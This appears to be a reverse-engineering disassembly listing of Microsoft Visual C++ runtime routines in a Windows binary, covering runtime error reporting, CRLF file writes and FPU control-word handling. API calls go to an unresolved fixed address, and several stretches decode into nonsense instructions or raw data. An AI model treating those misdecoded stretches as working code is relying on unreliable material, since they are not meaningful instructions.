		xor	ecx, ecx
		mov	eax, offset dword_42E7F8


loc_417C6C:				; CODE XREF: sub_417C59+20j
		cmp	edx, [eax]
		jz	short loc_417C7B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_42E888
		jl	short loc_417C6C


loc_417C7B:				; CODE XREF: sub_417C59+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_42E7F8[esi]
		jnz	loc_417DA9
		mov	eax, ds:dword_45F898
		cmp	eax, 1
		jz	loc_417D83
		test	eax, eax
		jnz	short loc_417CAC
		cmp	ds:dword_42E184, 1
		jz	loc_417D83


loc_417CAC:				; CODE XREF: sub_417C59+44j
		cmp	edx, 0FCh
		jz	loc_417DA9
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 3D0000h
		or	[ebp+var_72EC8A40], al
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+44h]
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 41h,	0, 50h
; ---------------------------------------------------------------------------
		call	sub_411B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_410B60
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_417D26
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_410B60
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_411D00
		add	esp, 10h


loc_417D26:				; CODE XREF: sub_417C59+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_411B70
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_411B80
		lea	eax, [ebp+var_A0]
		push	offset asc_41CB20 ; "\n\n"
		push	eax
		call	sub_411B80
		push	ds:off_42E7FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_411B80
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_4195E1
		add	esp, 2Ch
		pop	edi
		jmp	short loc_417DA9
; ---------------------------------------------------------------------------


loc_417D83:				; CODE XREF: sub_417C59+3Cj
					; sub_417C59+4Dj
		lea	eax, [ebp+arg_FFFFFFFC]
		lea	esi, off_42E7FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_410B60
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 3D0000h
		push	ecx
		push	eax
		call	near ptr 3D0000h
		outsd


loc_417DA9:				; CODE XREF: sub_417C59+2Ej
					; sub_417C59+59j ...
		pop	esi
		leave
		retn
sub_417C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DAC	proc near		; CODE XREF: sub_412B27+95p
					; sub_412B27+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_460C60
		push	esi
		push	edi
		jnb	loc_417F40
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:460B60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_417F40
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_417DFD


loc_417DF6:				; CODE XREF: sub_417DAC+177j
		xor	eax, eax
		jmp	loc_417F54
; ---------------------------------------------------------------------------


loc_417DFD:				; CODE XREF: sub_417DAC+48j
		test	al, 20h
		jz	short loc_417E0D
		push	2
		push	edi
		push	ecx
		call	sub_4169A2
		add	esp, 0Ch


loc_417E0D:				; CODE XREF: sub_417DAC+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_417EDC
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_417F14


loc_417E2D:				; CODE XREF: sub_417DAC+F5j
		lea	eax, [ebp+var_414]


loc_417E33:				; CODE XREF: sub_417DAC+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_417E67
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_417E52
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_417E52:				; CODE XREF: sub_417DAC+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_417E33


loc_417E67:				; CODE XREF: sub_417DAC+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 3D0000h
		dec	edi
		test	eax, eax
		jz	short loc_417ED1
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_417EA3
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_417E2D


loc_417EA3:				; CODE XREF: sub_417DAC+EAj
					; sub_417DAC+12Ej
		xor	edi, edi


loc_417EA5:				; CODE XREF: sub_417DAC+150j
					; sub_417DAC+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_417F3B
		cmp	[ebp+arg_0], edi
		jz	short loc_417F14
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_417F09
		mov	ds:dword_45F844, 9
		mov	ds:dword_45F848, eax
		jmp	loc_417F51
; ---------------------------------------------------------------------------


loc_417ED1:				; CODE XREF: sub_417DAC+E0j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_417EA3
; ---------------------------------------------------------------------------


loc_417EDC:				; CODE XREF: sub_417DAC+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 3D0000h
		xchg	eax, edi
		test	eax, eax
		jz	short loc_417EFE
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_417EA5
; ---------------------------------------------------------------------------


loc_417EFE:				; CODE XREF: sub_417DAC+145j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_417EA5
; ---------------------------------------------------------------------------


loc_417F09:				; CODE XREF: sub_417DAC+10Fj
		push	[ebp+arg_0]
		call	sub_41724D
		pop	ecx
		jmp	short loc_417F51
; ---------------------------------------------------------------------------


loc_417F14:				; CODE XREF: sub_417DAC+7Bj
					; sub_417DAC+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_417F29
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_417DF6


loc_417F29:				; CODE XREF: sub_417DAC+16Fj
		mov	ds:dword_45F844, 1Ch
		mov	ds:dword_45F848, edi
		jmp	short loc_417F51
; ---------------------------------------------------------------------------


loc_417F3B:				; CODE XREF: sub_417DAC+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_417F54
; ---------------------------------------------------------------------------


loc_417F40:				; CODE XREF: sub_417DAC+15j
					; sub_417DAC+37j
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9


loc_417F51:				; CODE XREF: sub_417DAC+120j
					; sub_417DAC+166j ...
		or	eax, 0FFFFFFFFh


loc_417F54:				; CODE XREF: sub_417DAC+4Cj
					; sub_417DAC+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F59	proc near		; CODE XREF: sub_412B27+6Cp
					; sub_4164EB+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_45FA04
		push	1000h
		call	sub_410C0F
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_417F82
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_417F93
; ---------------------------------------------------------------------------


loc_417F82:				; CODE XREF: sub_417F59+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_417F93:				; CODE XREF: sub_417F59+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_417F59	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F9D	proc near		; CODE XREF: sub_412B27+61p
					; sub_4172B4+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_460C60
		jb	short loc_417FAC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417FAC:				; CODE XREF: sub_417F9D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_460B60[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_417F9D	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:dword_460B40
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_417FD7
		mov	eax, 200h
		jmp	short loc_417FDD
; ---------------------------------------------------------------------------


loc_417FD7:				; CODE XREF: seg000:00417FCEj
		cmp	eax, esi
		jge	short loc_417FE2
		mov	eax, esi


loc_417FDD:				; CODE XREF: seg000:00417FD5j
		mov	ds:dword_460B40, eax


loc_417FE2:				; CODE XREF: seg000:00417FD9j
		push	4
		push	eax
		call	sub_41966A
		pop	ecx
		mov	ds:dword_45FB34, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_418016
		push	4
		push	esi
		mov	ds:dword_460B40, esi
		call	sub_41966A
		pop	ecx
		mov	ds:dword_45FB34, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_418016
		push	1Ah
		call	sub_412ADE
		pop	ecx


loc_418016:				; CODE XREF: seg000:00417FF3j
					; seg000:0041800Cj
		xor	ecx, ecx
		mov	eax, offset off_42E888


loc_41801D:				; CODE XREF: seg000:00418031j
		mov	edx, ds:dword_45FB34
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_42EB08
		jl	short loc_41801D
		xor	edx, edx
		mov	ecx, offset dword_42E898


loc_41803A:				; CODE XREF: seg000:00418064j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_460B60[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418057
		test	eax, eax
		jnz	short loc_41805A


loc_418057:				; CODE XREF: seg000:00418051j
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41805A:				; CODE XREF: seg000:00418055j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_42E8F8
		jl	short loc_41803A
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418068:				; DATA XREF: seg002:0041E02Co
		call	sub_416475
		cmp	ds:byte_45F884,	0
		jz	short locret_41807B
		jmp	loc_4196E7
; ---------------------------------------------------------------------------

locret_41807B:				; CODE XREF: seg000:00418074j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41807C	proc near		; CODE XREF: sub_412C3C+2D4p
					; sub_412C3C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_418088
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418088:				; CODE XREF: sub_41807C+8j
		cmp	ds:dword_45F8D0, 0
		jnz	short loc_4180A3
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4180D5
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4180A3:				; CODE XREF: sub_41807C+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_42E39C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_45F8E0
		call	ds:dword_41C11C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4180D5
		cmp	[ebp+arg_0], 0
		jz	short loc_4180E2


loc_4180D5:				; CODE XREF: sub_41807C+1Ej
					; sub_41807C+51j
		mov	ds:dword_45F844, 2Ah
		or	eax, 0FFFFFFFFh


loc_4180E2:				; CODE XREF: sub_41807C+57j
		pop	ebp
		retn
sub_41807C	endp

; ---------------------------------------------------------------------------


loc_4180E4:				; CODE XREF: sub_413446+5Ep
					; sub_417022+9Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41CB60
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_45FA08
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_418153
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41C850
		push	esi
		call	ds:dword_41C028	; GetStringTypeW
		test	eax, eax
		jz	short loc_418131
		mov	eax, esi
		jmp	short loc_41814E
; ---------------------------------------------------------------------------


loc_418131:				; CODE XREF: seg000:0041812Bj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_42F3E4
		push	esi
		push	ebx
		call	near ptr 3D0000h
		hlt
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_418219
		push	2
		pop	eax


loc_41814E:				; CODE XREF: seg000:0041812Fj
		mov	ds:dword_45FA08, eax


loc_418153:				; CODE XREF: seg000:00418113j
		cmp	eax, 2
		jnz	short near ptr loc_41817B+1
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_418164
		mov	eax, ds:dword_45F8D0


loc_418164:				; CODE XREF: seg000:0041815Dj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 3D0000h
		mov	ecx, 9FE9h


loc_41817B:				; CODE XREF: seg000:00418156j
		add	[ebx-7AF0FE08h], al
		xchg	eax, esp
; ---------------------------------------------------------------------------
		dw 0
		dd 185D3900h, 0E0A10875h, 890045F8h, 53531845h,	0FF1075FFh
		dd 458B0C75h, 1BD8F720h, 8E083C0h, 75FF5040h, 2015FF18h
		dd 890041C1h, 0C33BE045h, 5D896374h, 3C8DFCh, 0C083C78Bh
		dd 0E8FC2403h, 0FFFF8A18h, 8BE86589h, 0DC7589F4h, 0E8565357h
		dd 0FFFF83B8h, 0EB0CC483h, 58016A0Bh, 0E8658BC3h, 0F633DB33h
		dd 0FFFC4D83h, 2974F33Bh, 56E075FFh, 0FF1075FFh, 16A0C75h
		dd 0FF1875FFh, 41C12015h, 74C33B00h, 1475FF10h,	75FF5650h
		dd 2815FF08h, 0EB0041C0h
		db 2
; ---------------------------------------------------------------------------


loc_418219:				; CODE XREF: seg000:00418145j
		xor	eax, eax
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41822D	proc near		; CODE XREF: sub_414606+52p
		xor	eax, eax
		retn
sub_41822D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418230	proc near		; CODE XREF: sub_418265+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41827B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41830D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418230	endp


; =============== S U B	R O U T	I N E =======================================



sub_418265	proc near		; CODE XREF: sub_4148F2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_418230
		pop	ecx
		pop	ecx
		retn
sub_418265	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827B	proc near		; CODE XREF: sub_418230+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41828C
		push	10h
		pop	eax


loc_41828C:				; CODE XREF: sub_41827B+Cj
		test	bl, 4
		jz	short loc_418293
		or	al, 8


loc_418293:				; CODE XREF: sub_41827B+14j
		test	bl, 8
		jz	short loc_41829A
		or	al, 4


loc_41829A:				; CODE XREF: sub_41827B+1Bj
		test	bl, 10h
		jz	short loc_4182A1
		or	al, 2


loc_4182A1:				; CODE XREF: sub_41827B+22j
		test	bl, 20h
		jz	short loc_4182A8
		or	al, 1


loc_4182A8:				; CODE XREF: sub_41827B+29j
		test	bl, 2
		jz	short loc_4182B2
		or	eax, 80000h


loc_4182B2:				; CODE XREF: sub_41827B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4182EA
		cmp	edx, 400h
		jz	short loc_4182E7
		cmp	edx, 800h
		jz	short loc_4182E3
		cmp	edx, esi
		jnz	short loc_4182EA
		or	eax, edi
		jmp	short loc_4182EA
; ---------------------------------------------------------------------------


loc_4182E3:				; CODE XREF: sub_41827B+5Ej
		or	eax, ebp
		jmp	short loc_4182EA
; ---------------------------------------------------------------------------


loc_4182E7:				; CODE XREF: sub_41827B+56j
		or	ah, 1


loc_4182EA:				; CODE XREF: sub_41827B+4Ej
					; sub_41827B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4182FA
		cmp	ecx, ebp
		jnz	short loc_4182FF
		or	eax, 10000h
		jmp	short loc_4182FF
; ---------------------------------------------------------------------------


loc_4182FA:				; CODE XREF: sub_41827B+72j
		or	eax, 20000h


loc_4182FF:				; CODE XREF: sub_41827B+76j
					; sub_41827B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41830C
		or	eax, 40000h

locret_41830C:				; CODE XREF: sub_41827B+8Aj
		retn
sub_41827B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41830D	proc near		; CODE XREF: sub_418230+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41831D
		push	1
		pop	eax


loc_41831D:				; CODE XREF: sub_41830D+Bj
		test	bl, 8
		jz	short loc_418324
		or	al, 4


loc_418324:				; CODE XREF: sub_41830D+13j
		test	bl, 4
		jz	short loc_41832B
		or	al, 8


loc_41832B:				; CODE XREF: sub_41830D+1Aj
		test	bl, 2
		jz	short loc_418332
		or	al, 10h


loc_418332:				; CODE XREF: sub_41830D+21j
		test	bl, 1
		jz	short loc_418339
		or	al, 20h


loc_418339:				; CODE XREF: sub_41830D+28j
		test	ebx, 80000h
		jz	short loc_418343
		or	al, 2


loc_418343:				; CODE XREF: sub_41830D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_418370
		cmp	ecx, 100h
		jz	short loc_41836D
		cmp	ecx, esi
		jz	short loc_418368
		cmp	ecx, edx
		jnz	short loc_418370
		or	ah, 0Ch
		jmp	short loc_418370
; ---------------------------------------------------------------------------


loc_418368:				; CODE XREF: sub_41830D+50j
		or	ah, 8
		jmp	short loc_418370
; ---------------------------------------------------------------------------


loc_41836D:				; CODE XREF: sub_41830D+4Cj
		or	ah, 4


loc_418370:				; CODE XREF: sub_41830D+44j
					; sub_41830D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_418386
		cmp	ecx, 10000h
		jnz	short loc_418388
		or	eax, esi
		jmp	short loc_418388
; ---------------------------------------------------------------------------


loc_418386:				; CODE XREF: sub_41830D+6Bj
		or	eax, edx


loc_418388:				; CODE XREF: sub_41830D+73j
					; sub_41830D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_418395
		or	ah, 10h

locret_418395:				; CODE XREF: sub_41830D+83j
		retn
sub_41830D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418396	proc near		; CODE XREF: sub_418435+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4183DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4183D6
		lea	eax, [eax+esi*4]


loc_4183C8:				; CODE XREF: sub_418396+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4183DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4183C8


loc_4183D6:				; CODE XREF: sub_418396+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4183DB:				; CODE XREF: sub_418396+27j
					; sub_418396+35j
		xor	eax, eax
		pop	esi
		retn
sub_418396	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183DF	proc near		; CODE XREF: sub_418435+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41973F
		add	esp, 0Ch
		dec	esi
		js	short loc_418431
		lea	edi, [ebx+esi*4]


loc_418418:				; CODE XREF: sub_4183DF+50j
		test	eax, eax
		jz	short loc_418431
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41973F
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_418418


loc_418431:				; CODE XREF: sub_4183DF+34j
					; sub_4183DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4183DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418435	proc near		; CODE XREF: sub_418590+81p
					; sub_418590+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_418499
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_418396
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418496
		push	edi
		push	[ebp+arg_0]
		call	sub_4183DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_418496:				; CODE XREF: sub_418435+51j
		mov	eax, [ebp+arg_4]


loc_418499:				; CODE XREF: sub_418435+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4184B9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4184B9:				; CODE XREF: sub_418435+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418435	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184C1	proc near		; CODE XREF: sub_418590+75p
					; sub_418590+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4184CF:				; CODE XREF: sub_4184C1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4184CF
		pop	esi
		retn
sub_4184C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184DC	proc near		; CODE XREF: sub_418590+5Fp
					; sub_418590+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4184DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184E8	proc near		; CODE XREF: sub_418590+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4184EE:				; CODE XREF: sub_4184E8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_418500
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4184EE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418500:				; CODE XREF: sub_4184E8+9j
		xor	eax, eax
		retn
sub_4184E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418503	proc near		; CODE XREF: sub_418590+C0p
					; sub_418590+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_418539:				; CODE XREF: sub_418503+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_418539
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41856B:				; CODE XREF: sub_418503+86j
		cmp	ebx, edi
		jl	short loc_41857E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_418585
; ---------------------------------------------------------------------------


loc_41857E:				; CODE XREF: sub_418503+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_418585:				; CODE XREF: sub_418503+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41856B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418590	proc near		; CODE XREF: sub_4186FC+Dp
					; sub_418712+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
